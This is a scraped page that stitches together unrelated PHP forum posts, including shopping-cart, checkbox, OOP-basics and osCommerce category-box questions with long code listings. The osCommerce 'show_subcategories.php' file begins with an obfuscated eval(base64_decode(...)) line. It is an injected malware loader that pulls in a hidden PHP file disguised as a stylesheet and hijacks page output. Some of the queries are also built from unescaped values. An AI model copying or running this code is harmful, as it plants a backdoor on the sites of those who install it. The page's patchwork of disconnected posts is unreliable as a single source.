PHP - Moved: Wanting To Higher A Coder For A Private Video Site
This topic has been moved to PHP Freelancing.
http://www.phpfreaks.com/forums/index.php?topic=357368.0 Similar TutorialsHi everyone. Getting my head back into PHP after a long time away, so pardon the newbie question! I would like to create a simple website that is private to me and a few select people. The intention is to be able to share pictures or files. (Sort of my like my own personal dropbox.) Looking to put up some Holiday photos, so this needs to be a quick endeavor. I was thinking of creating a php page that is a log in page. No database, but f the user enters the correct username and password then I could reveal photos or maybe links to other pages. How does that sound? I have done .htaccess files in the past, but they sorta look crude and might scare non-technical people away. Thoughts?
This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=317915.0 This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=308788.0 This topic has been moved to PHP Freelancing. http://www.phpfreaks.com/forums/index.php?topic=358545.0 This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=321530.0 I am making a simple shopping cart. To add a product, I use this code: Code: [Select] <?php if (isset ($_GET['action']) && $_GET ['action'] == 'add' ) { $id = intval($_GET['id']); $_SESSION['cart'][] = $id; } $cart = $_SESSION['cart']; if (!$cart) { echo "No product in cart."; } elseif ($cart) { foreach ($_SESSION['cart'] as $id) { echo $id; } } ?> <A href="index.html?action=add&id=1">Add to cart</A> I am going to be selling t-shirts, I'm going to need a size along with the product ID, so now I need to add a 'size' value. I've tried simply doubling up on the code above with this code, but it isn't working. I was wondering if I am going the right way about it? Code: [Select] <?php if (isset ($_GET['action']) && $_GET ['action'] == 'add , size') { $id = intval($_GET['id']); $_SESSION['cart'][] = $id; $size = intval($_GET['size']); $_SESSION['cart'][] = $size; } $cart = $_SESSION['cart']; if (!$cart) { echo "No product in cart."; } elseif ($cart) { foreach ($_SESSION['cart'] as $id) { echo $id; } foreach ($_SESSION['cart'] as $size) { echo $size; } } ?> <A href="index.html?action=add&id=1&size=sizel">Add to cart</A> This topic has been moved to mod_rewrite. http://www.phpfreaks.com/forums/index.php?topic=318858.0 Here is a simple script which uses bitwise operations to determine whether or not a checkbox has been set. The problem is that if you use the $alpha array, the script doesn't produce the results you should expect. For example, if you set the last checkbox while using the $alpha array, all the checkboxes become set. I partially know why this happens as the PHP-Manual enlightened me: Quote From: http://www.php.net/manual/en/language.operators.bitwise.php Don't right shift for more than 32 bits on 32 bits systems. Don't left shift in case it results to number longer than 32 bits. I attempted to use the GMP_* functions but because those aren't part of the PHP-Standard-Library, I do not wish to rely on them. Is there any way to make these functions work for integers beyond 2^31? Here is a standalone script I'm using to make these tests. $alpha = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'); $delta = range('a', 'z'); function generate($array){ $n = count($array); $c = array(); for($i = 0; $i < $n; ++$i){ $c[bcpow(2, $i)] = $array[$i]; } return $c; } function set($array, $post){ $c = 0; foreach($array as $key => $val) if(isset($post['c'.$key])) $c |= $key; return $c; } function check($num, $category){ if($num & $category) return 'CHECKED'; return ''; } function checkboxes($array, $numval=0){ $i = 0; $form = ''; foreach($array as $key => $val){ $checked = check($numval, $key); $form .= '<input type="checkbox" '.$checked.' name="c'.$key.'" id="c'.$key.'">' . '<label for="c'.$key.'"> '.$val.'</label><br />'; ++$i; } return $form; } $array = generate($alpha); $num = 0; if(isset($_POST['action'])){ $num = set($array, $_POST); echo $num; } echo '<form action="y.php" method="post" style="width: 400px; border: 1px solid black;">'; echo checkboxes($array, $num); echo '<input type="submit" name="action" value="Set" />'; echo '</form>'; First, I apologize if this is the wrong venue, but it seemed the best place to ask question about code. The code below is very simple most likely, but I am having the hardest time visualizing how it's run. It would be most helpful if someone could point out the error of my thinking that would be awesome. This is literally the first php lesson I have ever taken.
I'm a very visual, hands on kind of learner. It would be most appreciated to get direction into the best way to learn PHP as a visual learner. Thanks!
<?php // I'm following an example online and need an explanation to this. This first part is creating // a class called User. class User { // This is a variable set to public. Now in the lesson I discovered public and private. Why is // public and private important? Could the code just run on $age? public $age; // This is a public function called __construct. Could I name this anything and the function // would still work? What is important about __? public function __construct($age) { // Ok, why is $this used? Is it correct in assuming that any word with a "$" assigned to it in // this class will refer to age? $this->age = $age; } // This is the 3rd function called getAge(). Why is getAge() blank? public function getAge() { echo $this->age; } } // Shoudln't this be at the top? And isn't there a cleaner way to output the age of a new user? // This seems to take up way too much coding just to display the name of a variable? $brad = new User(31); // I'm so confused. $brad->getAge(); This topic has been moved to Beta Test Your Stuff!. http://www.phpfreaks.com/forums/index.php?topic=317260.0 This topic has been moved to Application Design. http://www.phpfreaks.com/forums/index.php?topic=353404.0 This topic has been moved to PHP Freelancing. http://www.phpfreaks.com/forums/index.php?topic=347622.0 This topic has been moved to PHP Freelancing. http://www.phpfreaks.com/forums/index.php?topic=346043.0 This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=349090.0 This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=354819.0 Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: Code: [Select] <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; $parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //-->This is the code that show sub-categories: Code: [Select] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //--> This topic has been moved to Other. http://www.phpfreaks.com/forums/index.php?topic=320387.0 This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=346529.0 This topic has been moved to JavaScript Help. http://www.phpfreaks.com/forums/index.php?topic=308359.0 |